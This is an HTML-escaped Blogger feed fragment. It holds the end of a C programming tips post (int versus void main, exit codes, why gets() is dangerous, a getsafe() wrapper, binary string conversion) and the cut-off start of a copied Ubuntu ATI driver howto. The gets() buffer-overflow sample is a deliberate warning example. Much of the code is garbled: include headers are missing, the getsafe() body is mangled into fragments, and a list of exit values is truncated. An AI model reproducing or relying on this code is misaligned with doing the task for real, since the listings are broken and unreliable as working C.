problem.&lt;/p&gt; &lt;h3 style=&quot;font-family: arial;&quot;&gt;&lt;a name=&quot;int_main&quot;&gt;&lt;/a&gt;Please don&#39;t void my main()!&lt;/h3&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;A commonly asked question:&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Why do people say that main() has to return an int and void main(void) is wrong? I think it is all right because:&lt;/p&gt; &lt;ol style=&quot;font-family: arial;&quot;&gt;&lt;li&gt;&lt;p&gt;I have a book by /* somebody */ and all of the example 	programs are written this way.&lt;/p&gt; 	&lt;/li&gt;&lt;li&gt;&lt;p&gt;My instructor tells us to write it that way.&lt;/p&gt; 	&lt;/li&gt;&lt;li&gt;&lt;p&gt;The examples in my online help show it that way.&lt;/p&gt; 	&lt;/li&gt;&lt;li&gt;&lt;p&gt;It works on my compiler.&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;First let&#39;s talk about the items above.&lt;/p&gt; &lt;ol style=&quot;font-family: arial;&quot;&gt;&lt;li&gt;&lt;p&gt;Many books are written by people who don&#39;t even bother to 	actually learn their subject. They are good at writing books and 	think they know everything. Some of them test their code by 	compiling and running it with their favorite compiler, and never 	notice that they are using compiler specific extensions. Some 	authors have written books containing code which they just wrote off 	the top of their head. They never compiled and ran it because it 	would not compile with ANY compiler.&lt;/p&gt; 	&lt;/li&gt;&lt;li&gt;&lt;p&gt;Sadly, many instructors of computer programming classes do 	not know the actual standard for the language themselves. What they 	know they learned from reading the same books written by careless 	authors described above. This kind of ignorance of their subject 	matter would not be allowed in a subject like mathematics, 	chemistry, or physics, but it is all too common in computer 	programming.  	&lt;/p&gt; 	&lt;/li&gt;&lt;li&gt;&lt;p&gt;Microsoft is particularly bad at this. Almost all of the 	examples in their online help start with &lt;i&gt;void main(void)&lt;/i&gt;. Yet 	if you look up &lt;i&gt;main&lt;/i&gt; in the online help, it displays a proper 	definition. The example programs in the online help for Borland 	compilers always show main() properly returning an int.&lt;/p&gt; 	&lt;/li&gt;&lt;li&gt;&lt;p&gt;The standards for the C and C++ programming languages 	specifically allow compiler writers to include extensions. In 	addition, the usual tradition is for a compiler to process your 	program and generate an executable if at all possible, even if your 	source code is questionable. The International Standard for each 	programming language defines what the language is, not whatever any 	particular compiler happens to accept. Most C compilers have some 	type of option to compile in strict standard mode. Again Microsoft 	is one of the worst offenders here. There is no way that I know of 	to get their compilers to issue an error or even a warning message 	if you define a void main() function in your code.&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Some computer languages are proprietary, that is they belong to a particular company, and that company has final authority to determine what the language is and isn&#39;t.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;One example is Java. This language is a product of Sun Microsystems, and it defined by them. Any other company which uses the Java language signs a contract with Sun and agrees that their version will be 100% compatible with Sun&#39;s standard.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Another language is Microsoft&#39;s Visual Basic. This is a programming package that only they sell, and only for their Windows operating systems. Since this language is completely theirs, the definition of what the language is is completely theirs.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;This is not the case with most general purpose programming languages, and this includes C and C++. Nobody owns these languages or their definitions. Instead the languages are defined by International Standards, which are generated and maintained by ISO, the International Standards Organization.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;ANSI, which is the American National Standards Institute, is the American national standards body and is one of the member bodies of ISO. You may have heard the term ANSI C or ANSI C++. These terms are in common use because it was ANSI that issued the first standard for C. When the ISO International Standard was adopted, ANSI adopted the ISO version and it became the ANSI version as well. The current ANSI standards for C and C++ are the ISO International standards.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;The ANSI/ISO standards for C and C++ define the languages, not Microsoft or Borland or any other compiler vendor. Here is what the standards have to say:&lt;/p&gt; &lt;h4 style=&quot;font-family: arial;&quot;&gt;ANSI/ISO/IEC 9899:1990 International Standard For C&lt;/h4&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;The function called at program startup is named &lt;b&gt;main&lt;/b&gt;. The implementation declares no prototype for this function. It can be defined with no parameters:  &lt;/blockquote&gt; &lt;blockquote style=&quot;margin-left: 0.79in; margin-right: 0.79in; font-family: arial;&quot;&gt;&lt;b&gt;int main(void) { /* ... */ }&lt;/b&gt;  &lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;or with two parameters (referred to here as argc and argv, though any names may be used, as they are local to the function in which they are declared):&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt; &lt;blockquote style=&quot;margin-left: 0.79in; margin-right: 0.79in; font-family: arial;&quot;&gt;&lt;b&gt;int main(int argc, char *argv[ ]) { /* ... */ }&lt;/b&gt;  &lt;/blockquote&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;The newly ratified update to the C standard in 1999 will make this even clearer, perhaps because of all the clueless who could not understand that only the two formats above, both of which define main to return an int, are valid.  &lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;The draft of the new standard expands on the two definitions above by modifying the wording &quot;It can be defined&quot; to &quot;It shall be defined with a return type of int&quot;.&lt;/p&gt; &lt;h4 style=&quot;font-family: arial;&quot;&gt;ANSI/ISO/IEC 14882:1998 International Standard For C++&lt;/h4&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;An implementation shall not predefine the &lt;b&gt;main&lt;/b&gt; function. This function shall not be overloaded. It shall have a return type of type &lt;b&gt;int&lt;/b&gt; but otherwise its type is implementation defined. All implementations shall allow both of the following definitions of &lt;b&gt;main&lt;/b&gt;:  &lt;/blockquote&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;The two definitions which follow are identical to those in the C standard.  &lt;/p&gt; &lt;h4 style=&quot;font-family: arial;&quot;&gt;Practical Reasons To Return An &lt;b&gt;int&lt;/b&gt; from &lt;b&gt;main()&lt;/b&gt;&lt;/h4&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;On many operating systems, the value returned by main() is used to return an exit status to the environment. On Unix, MS-DOS, and Windows systems, the low eight bits of the value returned by main() is passed to the command shell or calling program. This is often used to change the course of a program, batch file, or shell script.  &lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;Many compilers will refuse to compile a source code file containing a definition of main() which does not return an int.&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;On some platforms a program starting with void main() may crash on startup, or when it ends.&lt;/blockquote&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;A program which contains a main() function that is not defined to return an int is just plain not real C or C++.&lt;/p&gt; &lt;h3 style=&quot;font-family: arial;&quot;&gt;&lt;a name=&quot;return&quot;&gt;&lt;/a&gt;What should my &quot;int main()&quot; return?&lt;/h3&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;As pointed out in the section above, it is extremely common for a program to return a result indication to the operating system. Some operating systems require a result code. And the return value from main(), or the equivalent value passed in a call to the exit() function, is translated by your compiler into an appropriate code.  &lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;There are three and only three completely standard and portable values to return from main() or pass to exit():&lt;/p&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;The plain old ordinary integer value 0.&lt;br /&gt;The constant &lt;b&gt;EXIT_SUCCESS&lt;/b&gt; defined in  &lt;/blockquote&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;If you use 0 or &lt;b&gt;EXIT_SUCCESS&lt;/b&gt; your compiler&#39;s run time library is guaranteed to translate this into a result code which your operating system considers as successful.  &lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;If you use &lt;b&gt;EXIT_FAILURE&lt;/b&gt; your compiler&#39;s run time library is guaranteed to translate this into a result code which your operating system considers as unsuccessful.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Note: Some operating systems, such as Unix, MS-DOS, and Windows, truncate the integer passed to exit() or returned from main() to an unsigned char and make this available to the shell script, batch file, or parent process which invoked the program. On these systems programmers sometimes use different positive numbers to indicate different reasons for the failure of the program to execute successfully. Such usage is &lt;b&gt;not portable&lt;/b&gt; and may not work correctly on all implementations and operating systems. Only the values 0 and the constants &lt;b&gt;EXIT_SUCCESS&lt;/b&gt; and &lt;b&gt;EXIT_FAILURE&lt;/b&gt; are portable and guaranteed to work correctly on all hosted implementations.&lt;/p&gt; &lt;h4 style=&quot;font-family: arial;&quot;&gt;C++ Note&lt;/h4&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;In a C++ program you do not have to return anything from int main()! The language standard guarantees that if your int main() function &quot;falls off the end&quot; by reaching the closing brace, the compiler will automatically return 0 for you indicating success.  &lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;&lt;b&gt;Warnings&lt;/b&gt;&lt;/p&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;i&gt;It is not good programming practice to take advantage of this C++ feature. Programs should always specifically indicate a return status.&lt;/i&gt;  &lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;i&gt;C++ does not provide this automatic return for any function except int main().&lt;/i&gt;&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;i&gt;C does not provide an automatic return value for main() or any other function. It is up to the program to specify a return value or the status returned to the operating system is undefined.&lt;/i&gt;&lt;/blockquote&gt; &lt;h3 style=&quot;font-family: arial;&quot;&gt;&lt;a name=&quot;safe_gets&quot;&gt;&lt;/a&gt;What should I use instead of gets()?&lt;/h3&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;You might have been told this in a C programming newsgroup already, but it is important enough that I will repeat it here:&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Never, never, NEVER use the function gets(). It is the most dangerous function in the entire C standard library because there is there is no way to use it safely!&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Consider this example:&lt;/p&gt; &lt;pre style=&quot;font-family: arial;&quot;&gt;#include  int main(void) {   char name [25];   printf(&quot;Enter your name: &quot;);   fflush(stdout);   if (gets(name) != NULL)      printf(&quot;Hello and Goodbye %s\n&quot;, name);   return 0; }&lt;/pre&gt;&lt;p style=&quot;font-family: arial;&quot;&gt; What do you think will happen if the user types fifty characters into your twenty-five character array? What if the user types one hundred characters? Two hundred??  &lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;The answer is that gets() will fill up your array and then keep on going, trying to write to memory past the end of the array which your program does not have the right to access. A program crash is likely. Some notorious computer viruses have based their attack on deliberately overflowing buffers used by calling gets().&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;You might also have heard that you should use the fgets() function, with stdin as the FILE * parameter, instead of gets(). Most people stop after saying that, but that doesn&#39;t actually give you the same result. gets() removes the &#39;\n&#39; character from the input but fgets() does not. That means you must manually remove the &#39;\n&#39; before passing the string to fopen(), or for many other uses.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Here is my getsafe() function. Like gets() and fgets() both, it returns a pointer to char. This is either the pointer which was passed to it, or NULL if end of file or an error occurred. Like gets(), it removes the &#39;\n&#39; at the end of the string, if there is one. The prototype is:&lt;/p&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;b&gt;char *getsafe(char *buffer, int count);&lt;/b&gt;  &lt;/blockquote&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Here is the function:  &lt;/p&gt; &lt;pre style=&quot;font-family: arial;&quot;&gt;#include  #include  char *getsafe(char *buffer, int count) {   char *result = buffer, *np;   if ((buffer == NULL) || (count &lt; result =&quot; NULL;&quot; count =&quot;=&quot; result =&quot; &#39;\0&#39;;&quot; result =&quot; fgets(buffer,&quot; np =&quot; strchr(buffer,&quot; np =&quot; &#39;\0&#39;;&quot;&gt;&lt;p&gt; That&#39;s all it takes to safely get input strings from the standard input with the &#39;\n&#39; removed.&lt;/p&gt; &lt;h3&gt;&lt;a name=&quot;binary_in&quot;&gt;&lt;/a&gt;How do I input numbers as binary strings?&lt;/h3&gt; &lt;p&gt;The first step is to read the binary string representing the number into a character array in your program. If the input is from a file which you opened with fopen(), you can use the standard function fgets(). If the input is coming from stdin, you can use my getsafe() function, or fgets() with a FILE * of stdin. There is no need to remove the trailing &#39;\n&#39; if you are receiving a single numeric value in the string.  &lt;/p&gt; &lt;p&gt;The next step is to use the standard C library function strtoul() prototyped in  &lt;/p&gt; &lt;blockquote&gt;&lt;b&gt;unsigned long int strtoul(const char *nptr, char **endptr, int base);&lt;/b&gt;  &lt;/blockquote&gt; &lt;p&gt;Here is what the parameters are:  &lt;/p&gt; &lt;blockquote&gt;&lt;b&gt;nptr&lt;/b&gt; is a pointer to the array of characters containing the string you want parsed. It has the &lt;b&gt;const&lt;/b&gt; type qualifier to indicate that the function will not modify the string.  &lt;/blockquote&gt; &lt;blockquote&gt;&lt;b&gt;endptr&lt;/b&gt; is a pointer to a pointer to char. If this parameter is not NULL, a pointer to the remainder of the string is stored in the object &lt;b&gt;endptr&lt;/b&gt; points to. This can be useful in parsing complex input lines from a file, but for the purpose of processing one line at a time we will use NULL for this parameter.&lt;/blockquote&gt; &lt;blockquote&gt;&lt;b&gt;base&lt;/b&gt; the final parameter is the number base to be used. If we use 10 for base, the string would be parsed as a decimal number. If we use 16, the string will be taken to represent a hexadecimal number even if it doesn&#39;t start with 0x or 0X. If we use 2, strtoul() will accept only the characters &#39;0&#39; and &#39;1&#39; and assume they represent a number in binary.&lt;/blockquote&gt; &lt;p&gt;This code has a few other interesting features. It includes the standard header which defines some very important constants. In this case two of the constants it defines are used trim the unsigned long value returned by strtoul() to fit in an unsigned int and an unsigned char.  &lt;/p&gt; &lt;pre&gt;#include  #include  #include  int main(void) {   char buffer [50];   unsigned char uc;   unsigned int ui;   unsigned long ul;   if (fgets(buffer, sizeof buffer, stdin) != NULL)   {      ul = strtoul(buffer, NULL, 2);      ui = (unsigned int)(ul &amp;amp; UINT_MAX);      uc = (unsigned char)(ul &amp;amp; UCHAR_MAX);      printf(&quot;You entered %lu decimal, %lX hex\n&quot;, ul, ul);      printf(&quot;This is %X as an unsigned int\n&quot;, ui);      printf(&quot;This is %X as an unsigned char\n&quot;, uc);   }   return 0; }&lt;/pre&gt;&lt;p&gt; The function strtoul() has another very useful feature. If you pass 0 as the base parameter, the function uses the same rules for converting the numeric string to a value that the C compiler uses on source code.&lt;/p&gt; &lt;p&gt;If the first non whitespace characters of the string are &quot;0x&quot; or &quot;0X&quot;,strtoul() parses the string as hex, accepting the letters &#39;a&#39; through &#39;f&#39; and&#39;A&#39; through &#39;F&#39; as well as the digits &#39;0&#39; through &#39;9&#39;.&lt;/p&gt; &lt;p&gt;If the first non whitespace character of the string is &#39;0&#39; and it is not followed by &#39;x&#39; or &#39;X&#39;, strtoul parses the string as octal, and only acceptsthe digits &#39;0&#39; through &#39;7&#39;.&lt;/p&gt; &lt;p&gt;Finally if the first non whitespace character of the string is any digit except&#39;0&#39;, that is &#39;1&#39; through &#39;9&#39;, strtoul parses the number as decimal.&lt;/p&gt; &lt;h3&gt;&lt;a name=&quot;binary_out&quot;&gt;&lt;/a&gt;How do I output numbers as binary strings?&lt;/h3&gt; &lt;p&gt;We had some help from the standard C library to answer the question How do I input numbers as binary strings? The standard library function strtoul() was available to do the work for us.  &lt;/p&gt; &lt;p&gt;When it comes to outputting a numeric value of one of the integer types as a string of just 0&#39;s and 1&#39;s, however, we are strictly on our own. The code to do this is not very hard. Here is the code for displaying an unsigned char:&lt;/p&gt; &lt;pre&gt;#include  #include  char *unsigned_char_to_text(char val) {   unsigned char usc = (unsigned char)val;   unsigned char mask = UCHAR_MAX - (UCHAR_MAX &gt;&gt; 1);   static char result [CHAR_BIT + 1];   char *store = result;   while (mask)   {      *store++ = (char)(&#39;0&#39; + ((usc &amp;amp; mask) != 0));      mask &gt;&gt;= 1;   }   *store = &#39;\0&#39;;   return result; }&lt;/pre&gt;&lt;p&gt; To generate a function to output an unsigned int as a binary string, just make the following changes to this function:&lt;/p&gt; &lt;blockquote&gt;Change val to int and usc and mask to unsigned int.  &lt;/blockquote&gt; &lt;blockquote&gt;Change the two references to UCHAR_MAX to UINT_MAX.&lt;/blockquote&gt; &lt;blockquote&gt;Change the expression &quot;UCHAR_BIT + 1&quot; for the array size to &quot;sizeof(int) *UCHAR_BIT + 1&quot;.&lt;/blockquote&gt; &lt;p&gt;To make a function to do the same for unsigned long, change val to long and usc and mask to unsigned long, change UCHAR_MAX to ULONG_MAX, and use &quot;sizeof(long) * UCHAR_BIT + 1&quot;.  &lt;/p&gt; &lt;p&gt;Warning about the returned string. The string used to store the characters in the unsigned_char_to_text is defined as a static array of characters inside the function. It must be static because local variables defined inside a function go out of scope and cease to exist once the function returns, so it is illegal and a bug to return a pointer to a local non static variable.&lt;/p&gt; &lt;p&gt;The fact that the string is static means that each call to the function uses the same string space and overwrites the string produced by a previous call. So if you use this function more than once in a program you should be careful to do the following:&lt;/p&gt; &lt;blockquote&gt;Use the string immediately to display or write to a file, before calling the function again.  &lt;/blockquote&gt; &lt;blockquote&gt;If you do need to keep the generated string for some time, and the function might be called again, copy the string.&lt;/blockquote&gt; &lt;h3&gt;&lt;a name=&quot;cpp_notes&quot;&gt;&lt;/a&gt;C++ Notes For Using These Functions&lt;/h3&gt; &lt;p&gt;All of these functions are written in standard C. They can also be used and work correctly in a C++ program. In some of the cases, the features of C which I use in these functions could be replaced with C++ specific features. This is usually the preferred method in C++ if it provides a newer way of doing something than C does. Even so, the C code here is perfectly legal in C++.&lt;/p&gt; &lt;p&gt;If your have a newer C++ compiler that supports namespaces, you can modify the programs to use the C++ feature namespace feature to place the C library function names in the std namespace. In place of traditional C header names like  &lt;/p&gt; &lt;p style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;&lt;/p&gt; &lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/6479495416511907523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/6479495416511907523' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/6479495416511907523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/6479495416511907523'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2010/01/c-programming-tips-1.html' title='C Programming Tips 1'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-5680273040590386437</id><published>2009-12-13T02:44:00.000-08:00</published><updated>2009-12-13T02:46:10.420-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ATI Binary Driver Howto"/><title type='text'>ATI  : Binary Driver Howto</title><content type='html'>&lt;ul id=&quot;pagelocation&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto&quot;&gt;BinaryDriverHowto&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=&quot;backlink&quot; href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI?action=fullsearch&amp;amp;context=180&amp;amp;value=linkto%3A%22BinaryDriverHowto/ATI%22&quot; rel=&quot;nofollow&quot; title=&quot;Click to do a full-text search for this title&quot;&gt;ATI&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;!--3--&gt;&lt;span class=&quot;anchor&quot; id=&quot;top&quot;&gt;&lt;/span&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-1&quot;&gt;&lt;/span&gt;&lt;div&gt;&lt;table style=&quot;margin: 0pt 0pt 1em 1em; background: rgb(241, 241, 237) none repeat scroll 0% 0%; float: right; font-size: 0.9em; width: 40%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;  &lt;td style=&quot;padding: 0.5em;&quot;&gt;&lt;div class=&quot;table-of-contents&quot;&gt;&lt;p class=&quot;table-of-contents-heading&quot;&gt;Contents&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Prerequisites&quot;&gt;Prerequisites&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Install%20from%20Ubuntu%20repositories%20%28easier%29&quot;&gt;Install from Ubuntu repositories (easier)&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Instructions%20for%20Ubuntu%209.04%20%28Jaunty%29&quot;&gt;Instructions for Ubuntu 9.04 (Jaunty)&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#JAUNTY%20NOTICE&quot;&gt;JAUNTY NOTICE&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Instructions%20for%20Ubuntu%208.04%20%28Hardy%29%20and%208.10%20%28Intrepid%29&quot;&gt;Instructions for Ubuntu 8.04 (Hardy) and 8.10 (Intrepid)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Instructions%20for%20Kubuntu%207.10%20%28Gutsy%29&quot;&gt;Instructions for Kubuntu 7.10 (Gutsy)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Instructions%20for%20Ubuntu%207.10%20%28Gutsy%29&quot;&gt;Instructions for Ubuntu 7.10 (Gutsy)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Instructions%20for%206.06%20%28Dapper%29&quot;&gt;Instructions for 6.06 (Dapper)&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Troubleshooting&quot;&gt;Troubleshooting&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Install%20from%20ati.com%20%28latest%20version%20of%20drivers%29&quot;&gt;Install from ati.com (latest version of drivers)&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Instructions%20for%20Ubuntu%208.04%20%28Hardy%29%20with%20ATi%208.443.1-1%20and%20above%20binary%20drivers&quot;&gt;Instructions for Ubuntu 8.04 (Hardy) with ATi 8.443.1-1 and above binary drivers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Instructions%20for%206.06%20%28Dapper%29&quot;&gt;Instructions for 6.06 (Dapper)&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Seveas%20Repository&quot;&gt;Seveas Repository&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Modifying%20xorg.conf&quot;&gt;Modifying xorg.conf&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#More%20Troubleshooting&quot;&gt;More Troubleshooting&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#General%20Troubleshooting&quot;&gt;General Troubleshooting&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Video-out&quot;&gt;Video-out&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Black%20and%20White/Wrong%20Colours%20or%20Scrolling%20Picture&quot;&gt;Black and White/Wrong Colours or Scrolling Picture&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.ubuntu.com/community/BinaryDriverHowto/ATI#Other%20links&quot;&gt;Other links&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-2&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-3&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;By default Ubuntu will use the &lt;strong&gt;open source&lt;/strong&gt; &lt;a href=&quot;https://help.ubuntu.com/community/RadeonDriver&quot;&gt;&#39;ati&#39; or &#39;radeon&#39; driver&lt;/a&gt; for cards manufactured by ATI. Some users however prefer the proprietary &#39;fglrx&#39; driver for various reasons. The instructions on this page will tell you how to use this driver. &lt;span class=&quot;anchor&quot; id=&quot;line-4&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-5&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line862&quot;&gt;There are two ways you can install proprietary fglrx drivers. The preferred way is to use the drivers provided via the Ubuntu repositories. More advanced users can also try the drivers from ati.com. Both approaches are documented below and you need to take &lt;strong&gt;only one&lt;/strong&gt; of them. The Ubuntu-provided ones are the safest bet, the ati.com ones however may be needed (eg: when you need hibernation). &lt;span class=&quot;anchor&quot; id=&quot;line-6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-7&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line862&quot;&gt;As mentioned elsewhere, if you encounter bugs with these closed-source drivers, developers &lt;strong&gt;will not be willing or even able&lt;/strong&gt; to assist you in resolving your issues. Use them at your own risk. We encourage our users to prefer open source drivers.  &lt;span class=&quot;anchor&quot; id=&quot;line-8&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-9&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h2 id=&quot;Prerequisites&quot;&gt;Prerequisites&lt;/h2&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-10&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;Make sure the following things are true about your video card: &lt;span class=&quot;anchor&quot; id=&quot;line-11&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;It is a &#39;Radeon&#39; card &lt;span class=&quot;anchor&quot; id=&quot;line-12&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;The model of the card is in the 9xxx series, 9500 or higher, or it is in the X series (e.g. X300), or it has TV-Out capability. The &#39;fglrx&#39; driver does not support cards earlier than the 9500 &lt;span class=&quot;anchor&quot; id=&quot;line-13&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;The command lspci reveals a card with &quot;ATI&quot; in its name &lt;span class=&quot;anchor&quot; id=&quot;line-14&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;You need hardware-accelerated 3D support, or display refresh rates higher than 60 Hz. The open source drivers are fine for all other areas &lt;span class=&quot;anchor&quot; id=&quot;line-15&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;p class=&quot;line862&quot;&gt;Some basic knowledge of a Linux command line (see &lt;a href=&quot;https://help.ubuntu.com/community/UsingTheTerminal&quot;&gt;UsingTheTerminal&lt;/a&gt;) &lt;span class=&quot;anchor&quot; id=&quot;line-16&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-17&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line874&quot;&gt;Note that if you own an ATI card from the R400 series or below, you already have working 2D and may have accelerated 3D with the default drivers. These cards include: &lt;span class=&quot;anchor&quot; id=&quot;line-18&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-19&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;R400 series Xnnn (X800, X700, etc) (3D works) &lt;span class=&quot;anchor&quot; id=&quot;line-20&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;R300 series (9300+) (3D works) &lt;span class=&quot;anchor&quot; id=&quot;line-21&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;R200 and R100 series (9200 and below) &lt;span class=&quot;anchor&quot; id=&quot;line-22&quot;&gt;&lt;/span&gt;&lt;span 